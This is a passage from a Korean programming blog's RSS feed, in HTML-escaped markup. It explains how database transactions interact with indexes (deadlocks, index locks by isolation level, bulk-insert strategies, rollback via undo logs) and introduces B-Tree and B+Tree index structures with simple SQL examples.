UPDATE users SET email = &amp;#39;new@example.com&amp;#39; WHERE name = &amp;#39;홍길동&amp;#39;;
-- idx_name 인덱스로 검색 → idx_email 인덱스 업데이트 대기

-- 데드락 발생!
-- A: idx_name 락 대기 (B가 가지고 있음)
-- B: idx_email 락 대기 (A가 가지고 있음)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;데드락 방지 전략:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;인덱스 순서 일관성 유지&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;항상 같은 순서로 인덱스 접근&lt;/li&gt;
&lt;li&gt;예: 항상 name → email 순서&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;불필요한 인덱스 제거&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;사용하지 않는 인덱스는 제거&lt;/li&gt;
&lt;li&gt;데드락 가능성 감소&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;트랜잭션 범위 최소화&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;트랜잭션 시간을 짧게 유지&lt;/li&gt;
&lt;li&gt;락 보유 시간 감소&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. 트랜잭션에서 인덱스 사용 최적화&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;인덱스 선택과 트랜잭션 성능&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;트랜잭션이 인덱스를 효율적으로 사용하면 성능이 향상됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;인덱스 사용 예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 인덱스: idx_user_id
CREATE INDEX idx_user_id ON orders(user_id);

BEGIN TRANSACTION;
    -- 인덱스를 사용한 빠른 검색
    SELECT * FROM orders
    WHERE user_id = 123;  -- Index Scan 사용

    -- 인덱스 없으면 Full Table Scan (느림)
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;인덱스 설계 원칙&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;트랜잭션 성능을 고려한 인덱스 설계:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;자주 조회되는 컬럼에 인덱스 생성&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SELECT 성능 향상&lt;/li&gt;
&lt;li&gt;트랜잭션의 읽기 성능 개선&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;자주 변경되지 않는 컬럼에 인덱스 생성&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;UPDATE/DELETE 시 인덱스 업데이트 비용 감소&lt;/li&gt;
&lt;li&gt;트랜잭션 쓰기 성능 유지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;복합 인덱스 활용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;여러 컬럼을 함께 조회하는 경우&lt;/li&gt;
&lt;li&gt;단일 인덱스보다 효율적&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 복합 인덱스
CREATE INDEX idx_user_date ON orders(user_id, order_date);

BEGIN TRANSACTION;
    -- 복합 인덱스 사용
    SELECT * FROM orders
    WHERE user_id = 123 AND order_date &amp;gt;= &amp;#39;2024-01-01&amp;#39;;
    -- idx_user_date 인덱스 사용 (빠름)
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;7. 트랜잭션과 인덱스의 실무 활용&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;대용량 데이터 삽입 시 인덱스 전략&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;대량의 데이터를 삽입할 때는 인덱스를 일시적으로 비활성화하는 것이 효율적일 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;인덱스 비활성화 전략:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 1. 인덱스 비활성화
ALTER INDEX idx_name ON users DISABLE;

-- 2. 대량 데이터 삽입 (인덱스 업데이트 없음)
BEGIN TRANSACTION;
    INSERT INTO users SELECT * FROM temp_users;
COMMIT;

-- 3. 인덱스 재활성화 및 재구성
ALTER INDEX idx_name ON users REBUILD;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;주의사항:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;인덱스 비활성화 중에는 해당 인덱스를 사용한 검색 불가&lt;/li&gt;
&lt;li&gt;데이터 삽입 후 반드시 인덱스 재구성 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;트랜잭션 로그와 인덱스&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;트랜잭션 로그는 인덱스 변경사항도 기록합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;트랜잭션 로그 구조:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;트랜잭션 로그:
1. 테이블 데이터 변경 기록
2. 인덱스 변경 기록
3. 커밋/롤백 정보&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;복구 시나리오:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 시스템 장애 발생
-- 트랜잭션 로그를 사용하여 복구

-- 1. 커밋된 트랜잭션: 인덱스 변경사항도 복구
-- 2. 롤백된 트랜잭션: 인덱스 변경사항도 롤백
-- 3. 진행 중이던 트랜잭션: 롤백하여 인덱스 일관성 유지&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;요약&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;트랜잭션과 인덱스의 관계&lt;/strong&gt;: 트랜잭션이 데이터를 변경할 때 인덱스도 함께 업데이트되며, 트랜잭션의 원자성에 따라 인덱스 변경사항도 All or Nothing 원칙을 따릅니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;인덱스 업데이트 비용&lt;/strong&gt;: 인덱스가 많을수록 INSERT/UPDATE/DELETE 시 인덱스 업데이트 오버헤드가 증가하여 트랜잭션의 쓰기 성능이 저하됩니다. 반면 SELECT 성능은 향상되는 트레이드오프가 있습니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;격리성과 인덱스&lt;/strong&gt;: 트랜잭션의 격리 수준에 따라 인덱스를 통한 데이터 검색 시 다른 트랜잭션의 변경사항을 볼 수 있는지가 결정됩니다. 인덱스 락(Key Lock, Gap Lock, Next-Key Lock)을 통해 격리성을 보장합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;롤백과 인덱스&lt;/strong&gt;: 트랜잭션이 롤백되면 인덱스도 이전 상태로 복구되어야 하며, 인덱스가 많을수록 롤백 비용이 증가합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;데드락과 인덱스&lt;/strong&gt;: 인덱스가 많을수록 데드락 발생 가능성이 증가하므로, 인덱스 접근 순서를 일관되게 유지하고 불필요한 인덱스를 제거하는 것이 중요합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;최적화 전략&lt;/strong&gt;: 자주 조회되는 컬럼에 인덱스를 생성하고, 자주 변경되지 않는 컬럼에 인덱스를 생성하며, 대량 데이터 삽입 시에는 인덱스를 일시적으로 비활성화하는 등의 전략을 사용할 수 있습니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/innodb-indexes.html&quot;&gt;MySQL 공식 문서 - 인덱스와 트랜잭션&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/indexes-types.html&quot;&gt;PostgreSQL 공식 문서 - 인덱스와 동시성&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/indexing-in-databases-set-1/&quot;&gt;Database Indexing and Transaction Management&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;예상 꼬리질문 정리&lt;/h3&gt;
&lt;h4&gt;1. 트랜잭션 중 인덱스가 손상되면 어떻게 되나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;인덱스 무결성 보장:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;트랜잭션 중 인덱스가 손상되면 전체 트랜잭션이 롤백됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;BEGIN TRANSACTION;
    INSERT INTO users (id, name) VALUES (1, &amp;#39;홍길동&amp;#39;);
    -- 인덱스 업데이트 중 오류 발생

    -- 인덱스 손상 감지
    -- 전체 트랜잭션 롤백
ROLLBACK;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;복구 메커니즘:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;트랜잭션 로그를 사용하여 인덱스 복구&lt;/li&gt;
&lt;li&gt;인덱스 재구성(REBUILD) 필요 시 자동 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. 인덱스가 많으면 트랜잭션이 왜 느려지나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;인덱스 업데이트 비용:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;인덱스가 많을수록 각 인덱스를 업데이트하는 비용이 증가합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;인덱스 1개: INSERT 시간 = T + I
인덱스 5개: INSERT 시간 = T + 5I&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;B+Tree 재정렬 비용:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;각 인덱스마다 B+Tree 재정렬 필요&lt;/li&gt;
&lt;li&gt;디스크 I/O 발생&lt;/li&gt;
&lt;li&gt;락 경합 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;최적화:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;불필요한 인덱스 제거&lt;/li&gt;
&lt;li&gt;자주 변경되지 않는 컬럼에만 인덱스 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. 트랜잭션 격리 수준이 인덱스 사용에 영향을 주나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;격리 수준에 따른 인덱스 락:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;READ COMMITTED:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;인덱스 키 락만 사용&lt;/li&gt;
&lt;li&gt;커밋된 데이터만 읽음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;REPEATABLE READ:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;넥스트 키 락 사용&lt;/li&gt;
&lt;li&gt;갭 락으로 Phantom Read 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;SERIALIZABLE:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;범위 락 사용&lt;/li&gt;
&lt;li&gt;인덱스 전체에 락 설정 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;성능 영향:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;격리 수준이 높을수록 인덱스 락 범위 증가&lt;/li&gt;
&lt;li&gt;동시성 저하, 데드락 가능성 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. 롤백 시 인덱스 복구는 어떻게 이루어지나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;언두 로그(Undo Log) 사용:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;BEGIN TRANSACTION;
    INSERT INTO users (id, name) VALUES (1, &amp;#39;홍길동&amp;#39;);
    -- 인덱스 업데이트 전 상태를 언두 로그에 저장

    ROLLBACK;
    -- 언두 로그를 사용하여 인덱스 복구
    -- 인덱스가 트랜잭션 시작 전 상태로 복구됨&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;복구 과정:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;언두 로그에서 인덱스 변경 전 상태 확인&lt;/li&gt;
&lt;li&gt;인덱스에서 변경사항 제거&lt;/li&gt;
&lt;li&gt;인덱스 B+Tree 재정렬&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;비용:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;인덱스가 많을수록 복구 비용 증가&lt;/li&gt;
&lt;li&gt;롤백 시간이 길어짐&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;5. 인덱스 없이 트랜잭션을 실행하면 어떻게 되나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Full Table Scan 발생:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 인덱스 없음
BEGIN TRANSACTION;
    SELECT * FROM users WHERE name = &amp;#39;홍길동&amp;#39;;
    -- Full Table Scan 발생 (느림)
    -- 전체 테이블을 스캔하여 검색
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;영향:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SELECT 성능 저하&lt;/li&gt;
&lt;li&gt;트랜잭션 시간 증가&lt;/li&gt;
&lt;li&gt;락 보유 시간 증가 → 동시성 저하&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;권장:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;자주 조회되는 컬럼에 인덱스 생성&lt;/li&gt;
&lt;li&gt;트랜잭션 성능 향상&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>SQL</category>
      <author>jaemeon</author>
      <guid isPermaLink="true">https://jaemeon.tistory.com/133</guid>
      <comments>https://jaemeon.tistory.com/133#entry133comment</comments>
      <pubDate>Wed, 28 Jan 2026 17:50:40 +0900</pubDate>
    </item>
    <item>
      <title>SQL_22) 건초더미에서 바늘 찾기 싫다면 인덱스를 쓰세요</title>
      <link>https://jaemeon.tistory.com/132</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;인덱스(Index)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인덱스(Index)&lt;/b&gt; 는 데이터 검색 속도를 높이기 위해 별도로 관리하는 자료구조입니다. 일반적으로 B-Tree 구조를 사용하며, 컬럼의 값과 해당 레코드가 저장된 주소를 키와 값의 쌍으로 저장합니다. 인덱스가 있으면 테이블 전체를 읽는 'Full Table Scan' 대신 특정 범위만 탐색하는 'Index Scan'이 가능해져 SELECT 성능이 비약적으로 향상됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Why (왜 사용하는가? 왜 중요한가?)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스 없이는 대용량 테이블에서 데이터를 검색할 때 전체 테이블을 스캔해야 하므로 성능이 크게 저하됩니다. 1억 개의 데이터가 섞여 있을 때 특정 값을 찾는 것은 '모래사장에서 바늘 찾기'와 같지만, 인덱스를 통해 미리 정렬해두면 업다운 게임처럼 빠르게 찾을 수 있습니다.&lt;/li&gt;
&lt;li&gt;인덱스는 항상 정렬된 상태를 유지해야 하므로 INSERT, UPDATE, DELETE 시에는 추가적인 오버헤드가 발생하며, 별도의 저장 공간이 필요하다는 트레이드오프가 있습니다. 따라서 꼭 필요한 컬럼에만 전략적으로 인덱스를 만드는 것이 핵심입니다.&lt;/li&gt;
&lt;li&gt;Full Table Scan과 Index Scan의 차이, B-Tree와 B+Tree의 구조와 동작 원리, 인덱스의 장단점, 그리고 인덱스를 사용해야 하는 경우와 사용하지 말아야 하는 경우를 이해해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 인덱스(Index)란?&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;인덱스의 정의&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인덱스(Index)&lt;/b&gt;는 데이터 검색 속도를 높이기 위해 별도로 관리하는 자료구조입니다. 인덱스는 한 마디로 &lt;b&gt;'검색용 복사본'&lt;/b&gt;입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;인덱스의 필요성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대용량 테이블에서 특정 데이터를 찾을 때, 인덱스가 없으면 전체 테이블을 스캔해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 최대 100까지의 숫자 업다운 게임을 예시로로 인덱스가 없을 때와 있을 때의 경우를 비교를 해봅시다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;순서대로 찾기&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;너 1이야? 
너 2야?
... 
...
... 
너 97이야? &amp;gt;&amp;gt; 응 &amp;gt;&amp;gt; 97번의 조회를 통해 찾았다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;나누어서 유추&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;너 50보다 커?
너 75보다 커?
... 
...
...
96보다 크고 98보다 작구나.  97 &amp;gt;&amp;gt; 대략 6~8회의 조회를 통해 찾았다. &lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;인덱스의 구조&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인덱스는 컬럼의 값과 해당 레코드가 저장된 주소를 키와 값의 쌍으로 저장합니다.&lt;/p&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;인덱스 구조:
키(컬럼 값) &amp;rarr; 값(레코드 주소)

예시:
이름: &quot;홍길동&quot; &amp;rarr; 주소: 0x1234
이름: &quot;김철수&quot; &amp;rarr; 주소: 0x5678
이름: &quot;이영희&quot; &amp;rarr; 주소: 0x9ABC&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Full Table Scan vs Index Scan&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Full Table Scan (전체 테이블 스캔)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Full Table Scan&lt;/b&gt;은 인덱스를 사용하지 않고 테이블의 모든 행을 순차적으로 읽는 방식입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;테이블의 모든 데이터를 읽음&lt;/li&gt;
&lt;li&gt;인덱스가 없거나 인덱스를 사용할 수 없는 경우 발생&lt;/li&gt;
&lt;li&gt;대용량 테이블에서는 매우 느림&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비유:&lt;/b&gt; 처음부터 끝까지 다 뒤지는 '노가다'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;-- 인덱스가 없는 컬럼으로 검색
SELECT * FROM users WHERE email = 'user@example.com';
-- 전체 테이블을 스캔하여 email 컬럼을 하나씩 확인&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Index Scan (인덱스 스캔)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Index Scan&lt;/b&gt;은 인덱스를 사용하여 필요한 데이터만 빠르게 찾는 방식입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스를 통해 특정 범위만 탐색&lt;/li&gt;
&lt;li&gt;정렬된 인덱스에서 이진 탐색 가능&lt;/li&gt;
&lt;li&gt;대용량 테이블에서도 빠른 검색&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비유:&lt;/b&gt; 미리 정렬된 '지름길'로 가는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;-- 인덱스가 있는 컬럼으로 검색
SELECT * FROM users WHERE id = 12345;
-- 인덱스를 통해 id=12345인 레코드의 주소를 바로 찾음&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;성능 비교&lt;/b&gt;&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;구분&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Full Table Scan&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Index Scan&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;스캔 범위&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;전체 테이블&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;인덱스 + 필요한 행만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;시간 복잡도&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O(n)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;O(log n)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;대용량 테이블&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;매우 느림&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;빠름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;비유&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;노가다&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;지름길&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. B-Tree와 B+Tree&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;B-Tree 구조&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B-Tree&lt;/b&gt;는 인덱스에서 가장 많이 사용되는 자료구조입니다. 균형 잡힌 트리 구조로 데이터를 저장합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B-Tree의 특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;각 노드는 여러 개의 키를 가질 수 있음&lt;/li&gt;
&lt;li&gt;모든 리프 노드가 같은 레벨에 있음 (균형 트리)&lt;/li&gt;
&lt;li&gt;각 노드의 키는 정렬된 상태&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;377&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hg8SY/dJMcahiZAVe/2XQkTRz2rTjBYL70dgiFBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hg8SY/dJMcahiZAVe/2XQkTRz2rTjBYL70dgiFBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hg8SY/dJMcahiZAVe/2XQkTRz2rTjBYL70dgiFBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHg8SY%2FdJMcahiZAVe%2F2XQkTRz2rTjBYL70dgiFBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;590&quot; height=&quot;377&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;377&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;B+Tree 구조&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B+Tree&lt;/b&gt;는 B-Tree의 개선된 형태로, 대부분의 RDBMS에서 사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B+Tree의 특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;내부 노드(Internal Node)&lt;/b&gt;: 키만 저장 (가이드 역할)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리프 노드(Leaf Node)&lt;/b&gt;: 키와 실제 데이터 주소 저장&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리프 노드 연결&lt;/b&gt;: 리프 노드끼리 선형으로 연결되어 범위 검색에 유리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B+Tree 구조 예시:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;457&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cotnnB/dJMcabbYteP/pieCA0GEKIDxYwY8DxXiRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cotnnB/dJMcabbYteP/pieCA0GEKIDxYwY8DxXiRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cotnnB/dJMcabbYteP/pieCA0GEKIDxYwY8DxXiRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcotnnB%2FdJMcabbYteP%2FpieCA0GEKIDxYwY8DxXiRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;960&quot; height=&quot;457&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;457&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;왜 B+Tree인가?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 범위 검색에 유리&lt;/b&gt;&lt;/p&gt;
